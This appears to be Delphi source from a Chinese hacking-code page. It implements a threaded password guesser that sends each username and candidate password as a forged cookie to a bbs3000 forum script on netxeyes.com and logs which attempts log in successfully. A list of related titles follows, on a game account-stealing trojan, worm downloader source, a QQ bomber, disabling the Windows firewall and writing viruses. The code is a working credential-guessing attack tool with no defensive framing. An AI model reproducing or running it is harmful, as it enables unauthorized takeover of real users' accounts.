|
unit UtGetuserPsd;
interface
uses
Classes,Idhttp,IdHeaderList,SysUtils;
type
TGetUnserPsd = class(TThread)
private
{ Private declarations }
protected
UN,pW:STRING;
uid:integer;
idp:TidHttp;
HttpHead:TidHeaderList;
procedure Execute; override;
public
Constructor Create(UserName:string;id:integer);
Destructor Destroy; override;
end;
implementation
uses UtMain;
{ Important: Methods and properties of objects in visual components can only be
used in a method called using Synchronize, for example,
Synchronize(UpdateCaption);
and UpdateCaption could look like,
procedure TGetUnserPsd.UpdateCaption;
begin
Form1.Caption := 'Updated in a thread';
end; }
{ TGetUnserPsd }
constructor TgetUnserPsd.Create(Username:string;id:integer);
begin
uid:=id;
un:=username;
idp:=Tidhttp.Create(nil);
httpHead:=TidHeaderList.Create;
inherited Create(false);
end;
destructor TgetUnserPsd.Destroy;
begin
idp.Free;
httphead.Free;
inherited destroy;
end;
procedure TGetUnserPsd.Execute;
var
html:string;
begin
freeonterminate:=true;
httpHead.Text:='cookie: nowtime=20060131210233; cometime=21_02_05__21_02_05_0Content-type: text/html; clicks=20060131172355; style=; lasttxt=20060131122028; username='+
un+'; password='+FmMain.Edit1.text+'; xuansave=; estate=; line=; qmh=; bgcolor=';
idp.Request.CustomHeaders:=Httphead;
try
html:=idp.Get('http://www.netxeyes.com/cgi-bin/bbs3000/race.cgi'); //偿试打开骞马页面,如密码正确则能正常打开
except
try
sleep(300);
html:=idp.Get('http://www.netxeyes.com/cgi-bin/bbs3000/race.cgi');
except
FmMain.Memo5.Lines.Add(IntToStr(uid)+' '+un+' idhttp打开网页失败');
Destroy;
exit;
end;
end;
if pos('出错提示',html)>0 then
begin
FmMain.Memo4.Lines.Add(IntToStr(uid)+' '+un+' 登录失败');
end
else
begin
if pos('赛马中心',html)>0 then
begin
FmMain.Memo6.Lines.Add(IntToStr(uid)+' '+un+' 登录成功');
end
else
FmMain.Memo5.Lines.Add(IntToStr(uid)+' '+un+' 返回未知');
end;
Destroy;
{ Place thread code here }
end;
end.
| 网游盗号木马实现手记 | 01-09 |
| 黑色技术蠕虫下载者[完整源码] | 11-01 |
| 利用BCB自己打造QQ炸弹 | 10-23 |
| 从内存中加载并启动一个exe(delp | 09-27 |
| 开启和关闭Windows xp 防火墙(de | 09-27 |
| 让你的程序通过XP防火墙(delphi编 | 09-27 |
| 如何让你的程序安全通过windows防 | 08-20 |
| 如何透过程序来控制 Windows (XP | 08-20 |
| 动易2005-2006算号器的源代码 | 08-11 |
| API对注册表进行操作(Delphi编程 | 07-30 |
| 一段隐藏注册表项的代码 | 07-26 |
| 了解VB编写病毒的大体方法 | 07-02 |